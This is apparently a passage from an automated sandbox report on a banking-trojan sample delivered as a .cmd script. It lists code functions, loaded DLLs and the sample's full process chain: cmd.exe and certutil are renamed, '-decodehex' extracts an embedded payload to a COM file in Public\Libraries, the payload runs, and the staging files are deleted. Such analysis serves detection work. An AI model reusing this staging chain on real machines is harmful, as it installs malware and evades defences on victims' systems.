          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7117D706_2_00007FF7F7117D70
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70FBDA06_2_00007FF7F70FBDA0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7071DE86_2_00007FF7F7071DE8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7095DF76_2_00007FF7F7095DF7
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70BFC346_2_00007FF7F70BFC34
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F709FC206_2_00007FF7F709FC20
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70B3C606_2_00007FF7F70B3C60
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F716FC906_2_00007FF7F716FC90
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E1C906_2_00007FF7F70E1C90
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7129CC06_2_00007FF7F7129CC0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F707BCA46_2_00007FF7F707BCA4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7099CD06_2_00007FF7F7099CD0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70BBCE86_2_00007FF7F70BBCE8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7075D086_2_00007FF7F7075D08
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F710FB506_2_00007FF7F710FB50
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712BB286_2_00007FF7F712BB28
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F7B746_2_00007FF7F70F7B74
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70D1B846_2_00007FF7F70D1B84
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F706FB846_2_00007FF7F706FB84
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7065BA46_2_00007FF7F7065BA4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7089BC86_2_00007FF7F7089BC8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70CDBF06_2_00007FF7F70CDBF0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7113C106_2_00007FF7F7113C10
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70DBA486_2_00007FF7F70DBA48
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7093A406_2_00007FF7F7093A40
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70B1A606_2_00007FF7F70B1A60
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7119A586_2_00007FF7F7119A58
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7077AB46_2_00007FF7F7077AB4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C7AC86_2_00007FF7F70C7AC8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71579386_2_00007FF7F7157938
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F715994C6_2_00007FF7F715994C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EF9906_2_00007FF7F70EF990
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E19AC6_2_00007FF7F70E19AC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F708F9B86_2_00007FF7F708F9B8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7061A106_2_00007FF7F7061A10
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71528546_2_00007FF7F7152854
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EE8446_2_00007FF7F70EE844
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71448C46_2_00007FF7F71448C4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71408C86_2_00007FF7F71408C8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71567506_2_00007FF7F7156750
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71107D06_2_00007FF7F71107D0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E27D06_2_00007FF7F70E27D0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EC7F06_2_00007FF7F70EC7F0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C86306_2_00007FF7F70C8630
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712C6306_2_00007FF7F712C630
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70CC6D06_2_00007FF7F70CC6D0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70DC6F86_2_00007FF7F70DC6F8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71345386_2_00007FF7F7134538
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F706C5206_2_00007FF7F706C520
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70985706_2_00007FF7F7098570
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C655C6_2_00007FF7F70C655C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70B25806_2_00007FF7F70B2580
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70FE57C6_2_00007FF7F70FE57C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71585A86_2_00007FF7F71585A8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70705E06_2_00007FF7F70705E0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71685EC6_2_00007FF7F71685EC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F706A4246_2_00007FF7F706A424
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70DA4506_2_00007FF7F70DA450
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70DC4506_2_00007FF7F70DC450
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F714E4306_2_00007FF7F714E430
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F717842F6_2_00007FF7F717842F
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71404906_2_00007FF7F7140490
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F84886_2_00007FF7F70F8488
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70B84846_2_00007FF7F70B8484
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70A64A86_2_00007FF7F70A64A8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70D24D46_2_00007FF7F70D24D4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EE4F06_2_00007FF7F70EE4F0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70744E06_2_00007FF7F70744E0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71484D86_2_00007FF7F71484D8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F714234C6_2_00007FF7F714234C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F63746_2_00007FF7F70F6374
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70AE3A06_2_00007FF7F70AE3A0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C03986_2_00007FF7F70C0398
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F43D06_2_00007FF7F70F43D0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E84146_2_00007FF7F70E8414
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70844106_2_00007FF7F7084410
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712821C6_2_00007FF7F712821C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F708227C6_2_00007FF7F708227C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70D62806_2_00007FF7F70D6280
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71442746_2_00007FF7F7144274
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70BE29C6_2_00007FF7F70BE29C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70801406_2_00007FF7F7080140
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70681706_2_00007FF7F7068170
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70BC1D06_2_00007FF7F70BC1D0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71741F86_2_00007FF7F71741F8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EA1E86_2_00007FF7F70EA1E8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70610306_2_00007FF7F7061030
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70BD0946_2_00007FF7F70BD094
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70A107C6_2_00007FF7F70A107C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F707B09C6_2_00007FF7F707B09C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7088F1C6_2_00007FF7F7088F1C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7094F906_2_00007FF7F7094F90
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7104F946_2_00007FF7F7104F94
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7144E586_2_00007FF7F7144E58
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F709EED46_2_00007FF7F709EED4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7148EAC6_2_00007FF7F7148EAC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7066EF46_2_00007FF7F7066EF4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70B8D2C6_2_00007FF7F70B8D2C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C2D186_2_00007FF7F70C2D18
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7142D6C6_2_00007FF7F7142D6C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70D6D7C6_2_00007FF7F70D6D7C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F708EDA46_2_00007FF7F708EDA4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70B0C286_2_00007FF7F70B0C28
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F716CC8C6_2_00007FF7F716CC8C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7138C586_2_00007FF7F7138C58
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70DCC806_2_00007FF7F70DCC80
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70FCCA86_2_00007FF7F70FCCA8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70BCD106_2_00007FF7F70BCD10
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7158CF46_2_00007FF7F7158CF4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7078D006_2_00007FF7F7078D00
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F2CF86_2_00007FF7F70F2CF8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70B4B306_2_00007FF7F70B4B30
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7084B686_2_00007FF7F7084B68
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7116B946_2_00007FF7F7116B94
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70D8BD46_2_00007FF7F70D8BD4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F706AC086_2_00007FF7F706AC08
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70ACBFC6_2_00007FF7F70ACBFC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7134A406_2_00007FF7F7134A40
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7154A586_2_00007FF7F7154A58
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F714AA586_2_00007FF7F714AA58
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E6A846_2_00007FF7F70E6A84
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EEA7C6_2_00007FF7F70EEA7C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70629406_2_00007FF7F7062940
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70B89906_2_00007FF7F70B8990
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C69846_2_00007FF7F70C6984
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70CE9F06_2_00007FF7F70CE9F0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C09EC6_2_00007FF7F70C09EC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EAA006_2_00007FF7F70EAA00
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F713A9F06_2_00007FF7F713A9F0
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_029520C49_2_029520C4
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3E785410_2_00007FF6BF3E7854
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D341010_2_00007FF6BF3D3410
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3E37D810_2_00007FF6BF3E37D8
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3DAA5410_2_00007FF6BF3DAA54
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3E555410_2_00007FF6BF3E5554
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D8DF810_2_00007FF6BF3D8DF8
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D188410_2_00007FF6BF3D1884
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3FAC4C10_2_00007FF6BF3FAC4C
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D2C4810_2_00007FF6BF3D2C48
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D851010_2_00007FF6BF3D8510
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D7D3010_2_00007FF6BF3D7D30
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3E18D410_2_00007FF6BF3E18D4
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3DB0D810_2_00007FF6BF3DB0D8
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D3F9010_2_00007FF6BF3D3F90
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D9B5010_2_00007FF6BF3D9B50
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D5B7010_2_00007FF6BF3D5B70
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3FAFBC10_2_00007FF6BF3FAFBC
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D6BE010_2_00007FF6BF3D6BE0
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3DE68010_2_00007FF6BF3DE680
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3FEE8810_2_00007FF6BF3FEE88
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D524010_2_00007FF6BF3D5240
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D765010_2_00007FF6BF3D7650
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3DD25010_2_00007FF6BF3DD250
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D9E5010_2_00007FF6BF3D9E50
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3E0A6C10_2_00007FF6BF3E0A6C
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3F7F0010_2_00007FF6BF3F7F00
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D372C10_2_00007FF6BF3D372C
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D6EE410_2_00007FF6BF3D6EE4
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF40153810_2_00007FF6BF401538
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3DCE1010_2_00007FF6BF3DCE10
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3E422410_2_00007FF6BF3E4224
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D222010_2_00007FF6BF3D2220
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3FAA3010_2_00007FF6BF3FAA30
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D4A3010_2_00007FF6BF3D4A30
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D81D410_2_00007FF6BF3D81D4
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3FD9D010_2_00007FF6BF3FD9D0
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: String function: 029544AC appears 73 times
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: String function: 0295480C appears 931 times
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: String function: 029546A4 appears 244 times
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: String function: 02968824 appears 45 times
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: String function: 029687A0 appears 54 times
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: String function: 029544D0 appears 32 times
          Source: C:\Users\Public\alpha.exeCode function: String function: 00007FF6BF3E3448 appears 54 times
          Source: C:\Users\Public\kn.exeCode function: String function: 00007FF7F711ABFC appears 818 times
          Source: C:\Users\Public\kn.exeCode function: String function: 00007FF7F7120D10 appears 181 times
          Source: C:\Users\Public\kn.exeCode function: String function: 00007FF7F71764A6 appears 173 times
          Source: C:\Users\Public\kn.exeCode function: String function: 00007FF7F7127BAC appears 34 times
          Source: C:\Users\Public\kn.exeCode function: String function: 00007FF7F7127D70 appears 35 times
          Source: C:\Users\Public\kn.exeCode function: String function: 00007FF7F70FEB98 appears 93 times
          Source: C:\Users\Public\kn.exeCode function: String function: 00007FF7F706D1C8 appears 41 times
          Source: C:\Users\Public\kn.exeCode function: String function: 00007FF7F716F11C appears 37 times
          Source: C:\Users\Public\kn.exeCode function: String function: 00007FF7F716F1B8 appears 183 times
          Source: C:\Users\Public\kn.exeCode function: String function: 00007FF7F709BC9C appears 280 times
          Source: C:\Users\Public\Libraries\spoolsv.COMProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7828 -s 2156
          Source: classification engineClassification label: mal100.bank.troj.evad.winCMD@23/16@1/1
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D32B0 _get_osfhandle,GetConsoleScreenBufferInfo,WriteConsoleW,wcschr,FormatMessageW,GetConsoleScreenBufferInfo,WriteConsoleW,GetStdHandle,FlushConsoleInputBuffer,GetConsoleMode,SetConsoleMode,_getch,SetConsoleMode,GetConsoleScreenBufferInfo,FillConsoleOutputCharacterW,SetConsoleCursorPosition,GetLastError,GetLastError,3_2_00007FF6BF3D32B0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F714826C GetCurrentThread,GetLastError,#357,OpenThreadToken,GetLastError,GetCurrentProcess,GetLastError,OpenProcessToken,GetLastError,AdjustTokenPrivileges,GetLastError,GetLastError,CloseHandle,CloseHandle,6_2_00007FF7F714826C
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3FFB54 memset,GetDiskFreeSpaceExW,??_V@YAXPEAX@Z,3_2_00007FF6BF3FFB54
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7117678 #359,#359,CoInitialize,#357,CoInitializeEx,#357,CoCreateInstance,#357,SysAllocString,SysAllocStringByteLen,LoadCursorW,SetCursor,SetCursor,#357,#357,#359,#357,SysFreeString,LocalFree,SysFreeString,SysFreeString,CoUninitialize,6_2_00007FF7F7117678
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70D73F0 GetModuleHandleW,GetLastError,#357,FindResourceW,GetLastError,LoadResource,GetLastError,SizeofResource,LockResource,GetLastError,LocalAlloc,memmove,6_2_00007FF7F70D73F0
          Source: C:\Windows\System32\extrac32.exeFile created: C:\Users\Public\alpha.exeJump to behavior
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7608:120:WilError_03
          Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7828
          Source: C:\Windows\SysWOW64\WerFault.exeFile created: C:\ProgramData\Microsoft\Windows\WER\Temp\799dc104-3df7-4b0f-9452-88d1053ad102Jump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
          Source: C:\Windows\System32\extrac32.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
          Source: Svcrhpjadgyclc.cmdReversingLabs: Detection: 21%
          Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Svcrhpjadgyclc.cmd" "
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\extrac32.exe C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          Source: C:\Users\Public\alpha.exeProcess created: C:\Windows\System32\extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Svcrhpjadgyclc.cmd" "C:\\Users\\Public\\spoolsv.MPEG" 9
          Source: C:\Users\Public\alpha.exeProcess created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Svcrhpjadgyclc.cmd" "C:\\Users\\Public\\spoolsv.MPEG" 9
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\spoolsv.MPEG" "C:\\Users\\Public\\Libraries\\spoolsv.COM" 12
          Source: C:\Users\Public\alpha.exeProcess created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\spoolsv.MPEG" "C:\\Users\\Public\\Libraries\\spoolsv.COM" 12
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\Libraries\spoolsv.COM C:\Users\Public\Libraries\spoolsv.COM
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\spoolsv.MPEG" / A / F / Q / S
          Source: C:\Users\Public\Libraries\spoolsv.COMProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7828 -s 2156
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\extrac32.exe C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe" Jump to behavior
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exeJump to behavior
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Svcrhpjadgyclc.cmd" "C:\\Users\\Public\\spoolsv.MPEG" 9 Jump to behavior
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\spoolsv.MPEG" "C:\\Users\\Public\\Libraries\\spoolsv.COM" 12 Jump to behavior
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\Libraries\spoolsv.COM C:\Users\Public\Libraries\spoolsv.COMJump to behavior
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S Jump to behavior
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\spoolsv.MPEG" / A / F / Q / S Jump to behavior
          Source: C:\Users\Public\alpha.exeProcess created: C:\Windows\System32\extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exeJump to behavior
          Source: C:\Users\Public\alpha.exeProcess created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Svcrhpjadgyclc.cmd" "C:\\Users\\Public\\spoolsv.MPEG" 9 Jump to behavior
          Source: C:\Users\Public\alpha.exeProcess created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\spoolsv.MPEG" "C:\\Users\\Public\\Libraries\\spoolsv.COM" 12 Jump to behavior
          Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
          Source: C:\Windows\System32\cmd.exeSection loaded: apphelp.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: cabinet.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: textinputframework.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: coreuicomponents.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: coremessaging.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: ntmarta.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: wintypes.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: wintypes.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: wintypes.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: textshaping.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: cabinet.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: textinputframework.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: coreuicomponents.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: coremessaging.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: ntmarta.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: coremessaging.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: wintypes.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: wintypes.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: wintypes.dllJump to behavior
          Source: C:\Windows\System32\extrac32.exeSection loaded: textshaping.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: certcli.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: cabinet.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: cryptui.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: ncrypt.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: netapi32.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: ntdsapi.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: version.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: secur32.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: certca.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: samcli.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: logoncli.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: dsrole.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: netutils.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: sspicli.dllJump to behavior
